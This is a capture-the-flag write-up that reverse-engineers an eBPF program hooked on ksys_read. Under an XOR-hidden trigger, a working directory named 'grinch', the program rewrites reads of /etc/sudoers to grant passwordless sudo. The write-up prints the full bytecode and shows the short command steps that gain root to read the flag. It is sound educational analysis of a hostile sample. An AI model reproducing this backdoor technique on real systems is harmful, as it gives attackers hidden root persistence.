Challenge Description
This is an eBPF reverse engineering challenge. You’re given all the information regarding an eBPF program that has been attached to a Linux machine. The challenge implies that its purpose is to be an “admin backdoor” of some sort, sneakily giving an attacker admin access to the system. (Given that it generally requires admin permissions to attach eBPF, we can assume that in-character, this is some form of stealthy persistence, letting the attacker regain access if their original method of entry is closed off.)
eBPF is a relatively new technology that allows small, provably-safe (regarding crashes and memory leaks, not morality) programs to run in a virtual machine in kernelspace. These programs, which run on predefined hook points in the kernel, can do things like
- Very efficiently filter, forward, log, etc. network traffic (XDP)
- Monitor system security and block or alert on certain activities (LSM, etc.)
- Debug or profile the kernel (kprobe, tracepoint, etc.)
- … evil, malicious attacks! (this challenge)
You can think of eBPF programs as very roughly similar to kernel modules, but easier to write, dynamically loaded, less powerful in terms of abilities, and a heck of a lot safer memory-corruption-wise. (If this challenge piques your interest, bpftrace
is a great tool to get started with.)
bpftool
Let’s take a look at the first file given to us, the bpftool
output.
$ sudo bpftool prog show id 332
332: tracing name fexit_ksys_read tag 01bd4e33cebb9d26 gpl
loaded_at 2024-12-21T09:39:07+0000 uid 0
xlated 576B jited 470B memlock 4096B map_ids 157,158
$ sudo bpftool map show id 157
157: array name .rodata.str1.1 flags 0x80
key 4B value 36B max_entries 1 memlock 4096B
frozen
$ sudo bpftool map show id 158
158: array name probe5.rodata flags 0x80
key 4B value 2B max_entries 1 memlock 4096B
frozen
$ sudo bpftool map dump id 157
key:
00 00 00 00
value:
6a 69 6e 67 6c 65 00 41 4c 4c 20 41 4c 4c 3d 28
41 4c 4c 29 20 4e 4f 50 41 53 53 57 44 3a 20 41
4c 4c 0a 00
Found 1 element
$ sudo bpftool map dump id 158
key: 00 00 00 00 value: 00 00
Found 1 element
What this means is that there’s an eBPF program attached on fexit_ksys_read
(basically, it will run right before the read
syscall exits). It has access to two eBPF maps, which are data structures used by eBPF to store read-only data, and communicate with each other or with userspace programs. The contents of those maps are dumped below, and judging by the names (.rodata.str1.1
, probe5.rodata
) it seems like they’re indeed meant for read-only data.
The second map is just some zeroes, but the first one (157) has some interesting data in it. Let’s decode the hex:
jingle␀ALL ALL=(ALL) NOPASSWD: ALL
␀
It looks like two null-terminated strings – one that just says jingle
, and another that you may recognize as sudoers
syntax, and in any case, Google would confirm that this is syntax to allow any user to run sudo
(the classic Linux privilege escalation command) and gain root privileges. One can probably reasonably assume, just off of this, that this is a sudo backdoor of some sort – meet some condition, and the read("/etc/sudoers")
syscall will be manipulated by the eBPF to return ALL ALL=(ALL) NOPASSWD: ALL
instead of the actual contents of the sudoers file, and give you free root access. We just need to figure out what that condition is.
A similar backdoor is implemented here.
Bytecode
Let’s start looking at the bytecode. (Note: My solve will be manual, but Ghidra does have some eBPF capability – I just couldn’t figure out how to get it to work myself. That might be an easier route!)
Here’s the bytecode dump, conveniently disassembled for us by bpftool
:
0: (79) r7 = *(u64 *)(r1 +24)
1: (79) r6 = *(u64 *)(r1 +8)
2: (85) call bpf_get_current_task_btf#-65856
3: (79) r1 = *(u64 *)(r0 +3104)
4: (79) r1 = *(u64 *)(r1 +48)
5: (79) r3 = *(u64 *)(r1 +40)
6: (bf) r1 = r10
7: (07) r1 += -6
8: (b7) r2 = 6
9: (85) call bpf_probe_read_kernel#-68672
10: (55) if r0 != 0x0 goto pc+59
11: (71) r1 = *(u8 *)(r10 -6)
12: (a7) r1 ^= 13
13: (73) *(u8 *)(r10 -6) = r1
14: (71) r1 = *(u8 *)(r10 -5)
15: (a7) r1 ^= 27
16: (73) *(u8 *)(r10 -5) = r1
17: (71) r1 = *(u8 *)(r10 -4)
18: (a7) r1 ^= 7
19: (73) *(u8 *)(r10 -4) = r1
20: (71) r1 = *(u8 *)(r10 -3)
21: (a7) r1 ^= 9
22: (73) *(u8 *)(r10 -3) = r1
23: (71) r1 = *(u8 *)(r10 -2)
24: (a7) r1 ^= 15
25: (73) *(u8 *)(r10 -2) = r1
26: (71) r1 = *(u8 *)(r10 -1)
27: (a7) r1 ^= 13
28: (73) *(u8 *)(r10 -1) = r1
29: (bf) r1 = r10
30: (07) r1 += -6
31: (b7) r2 = 6
32: (18) r3 = map[id:157][0]+0
34: (85) call bpf_strncmp#168128
35: (55) if r0 != 0x0 goto pc+34
36: (bf) r1 = r10
37: (07) r1 += -106
38: (b7) r2 = 100
39: (bf) r3 = r6
40: (85) call bpf_probe_read_compat#-61664
41: (71) r1 = *(u8 *)(r10 -67)
42: (55) if r1 != 0x76 goto pc+27
43: (71) r1 = *(u8 *)(r10 -66)
44: (55) if r1 != 0x69 goto pc+25
45: (71) r1 = *(u8 *)(r10 -65)
46: (55) if r1 != 0x73 goto pc+23
47: (71) r1 = *(u8 *)(r10 -64)
48: (55) if r1 != 0x75 goto pc+21
49: (71) r1 = *(u8 *)(r10 -63)
50: (55) if r1 != 0x64 goto pc+19
51: (71) r1 = *(u8 *)(r10 -62)
52: (55) if r1 != 0x6f goto pc+17
53: (b7) r9 = 29
54: (bf) r1 = r6
55: (18) r2 = map[id:157][0]+7
57: (b7) r3 = 29
58: (85) call bpf_probe_write_user#-68512
59: (bf) r8 = r9
60: (bf) r1 = r6
61: (0f) r1 += r8
62: (18) r2 = map[id:158][0]+0
64: (b7) r3 = 1
65: (85) call bpf_probe_write_user#-68512
66: (6d) if r8 s> r7 goto pc+3
67: (bf) r9 = r8
68: (07) r9 += 1
69: (55) if r8 != 0x7ff goto pc-11
70: (b7) r0 = 0
71: (95) exit
It looks complicated at first, but it’s actually fairly readable. r1
, r2
, and so on are registers. The call
s are calls to eBPF helper functions (https://docs.ebpf.io/linux/helper-function/, https://man7.org/linux/man-pages/man7/bpf-helpers.7.html). The map[]
syntax accesses data within maps.
Also provided in that folder is prog_dump_graphviz
, a bpftool-generated graphviz file that shows the control flow of the program. This might be useful! There’s also prog_dump_raw
, the raw bytecode, and btf_dump
. (BTF, with some handwaving, defines the kernel data structures available to us and the offsets of members within them.)
To start, btf_dump
can show us the function signature of ksys_read
:
[39536] FUNC_PROTO '(anon)' ret_type_id=691 vlen=3
'fd' type_id=55
'buf' type_id=166
'count' type_id=198
[39537] FUNC 'ksys_read' type_id=39536 linkage=static
So the arguments our eBPF program can see are a file descriptor, the data buffer, and a count (the maximum # of bytes userspace will accept in this read()
). Looking up top:
0: (79) r7 = *(u64 *)(r1 +24)
1: (79) r6 = *(u64 *)(r1 +8)
… it seems some of those arguments are being read into registers. r6
is presumably buf
, while r7
seems to be out of bounds – it’s a special extra argument, retval
, the return value of the function, that we get because we’re probing on fexit
.
Next up, we’ve got this:
2: (85) call bpf_get_current_task_btf#-65856
3: (79) r1 = *(u64 *)(r0 +3104)
4: (79) r1 = *(u64 *)(r1 +48)
5: (79) r3 = *(u64 *)(r1 +40)
That helper function call will give us access to the task_struct
of the task (analogous to thread) that called the system call we’re in now. What follows appears to be some pointer math, traversing through kernel data structures. Let’s look at the BTF dump (remember the numbers in the bytecode are bytes, while the BTF dump shows bits, so multiply by 8) and see where all this pointer-following lands.
[431] STRUCT 'task_struct' size=13696 vlen=251
...
'fs' type_id=600 bits_offset=24832
...
[600] PTR '(anon)' type_id=3978
[3978] STRUCT 'fs_struct' size=56 vlen=7
'users' type_id=61 bits_offset=0
'lock' type_id=251 bits_offset=32
'seq' type_id=512 bits_offset=64
'umask' type_id=61 bits_offset=96
'in_exec' type_id=61 bits_offset=128
'root' type_id=1039 bits_offset=192
'pwd' type_id=1039 bits_offset=320
[1039] STRUCT 'path' size=16 vlen=2
'mnt' type_id=1037 bits_offset=0
'dentry' type_id=1006 bits_offset=64
[1006] PTR '(anon)' type_id=1004
[1004] STRUCT 'dentry' size=192 vlen=16
'd_flags' type_id=55 bits_offset=0
'd_seq' type_id=512 bits_offset=32
'd_hash' type_id=991 bits_offset=64
'd_parent' type_id=1006 bits_offset=192
'd_name' type_id=999 bits_offset=256
'd_inode' type_id=1009 bits_offset=384
'd_iname' type_id=1010 bits_offset=448
'd_lockref' type_id=996 bits_offset=704
'd_op' type_id=1013 bits_offset=768
'd_sb' type_id=1015 bits_offset=832
'd_time' type_id=53 bits_offset=896
'd_fsdata' type_id=56 bits_offset=960
'(anon)' type_id=1001 bits_offset=1024
'd_child' type_id=232 bits_offset=1152
'd_subdirs' type_id=232 bits_offset=1280
'd_u' type_id=1003 bits_offset=1408
In the end, it looks like we point to the name of pwd
, the current working directory of the program. bpf_probe_read_kernel
is called to read it to a local variable, and then this happens:
11: (71) r1 = *(u8 *)(r10 -6)
12: (a7) r1 ^= 13
13: (73) *(u8 *)(r10 -6) = r1
14: (71) r1 = *(u8 *)(r10 -5)
15: (a7) r1 ^= 27
16: (73) *(u8 *)(r10 -5) = r1
17: (71) r1 = *(u8 *)(r10 -4)
18: (a7) r1 ^= 7
19: (73) *(u8 *)(r10 -4) = r1
20: (71) r1 = *(u8 *)(r10 -3)
21: (a7) r1 ^= 9
22: (73) *(u8 *)(r10 -3) = r1
23: (71) r1 = *(u8 *)(r10 -2)
24: (a7) r1 ^= 15
25: (73) *(u8 *)(r10 -2) = r1
26: (71) r1 = *(u8 *)(r10 -1)
27: (a7) r1 ^= 13
28: (73) *(u8 *)(r10 -1) = r1
29: (bf) r1 = r10
30: (07) r1 += -6
31: (b7) r2 = 6
32: (18) r3 = map[id:157][0]+0
34: (85) call bpf_strncmp#168128
map[id:157][0]
points to jingle
, and it looks like it’s used as an input to a strncmp
. But if we try logging in, creating a directory called jingle
, and running sudo, nothing special happens. What’s going on with all that ^=
XOR stuff?
Let’s extract the numeric constants the data is being XORed with: 13 27 7 9 15 13
If we XOR jingle
against this, we get grinch
. Much more thematically appropriate.
We could keep reversing further to see how the actual “exploit” works, or we could take a shot in the dark with what we know so far.
Exploit
Log in to the system with the provided SSH command and password. Then:
elfontheshell@toymachine:~$ cat /flag.txt
cat: /flag.txt: Permission denied
elfontheshell@toymachine:~$ cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
Let’s try the attack.
elfontheshell@toymachine:~$ mkdir grinch
mkdir: cannot create directory 'grinch': File exists
elfontheshell@toymachine:~$ cd grinch
elfontheshell@toymachine:~/grinch$ cat /etc/sudoers
ALL ALL=(ALL) NOPASSWD: ALL
And here we go:
elfontheshell@toymachine:~/grinch$ sudo cat /flag.txt
MetaCTF{h0w_th3_gr1nch_st0l3_th3_sud03rs_fil3}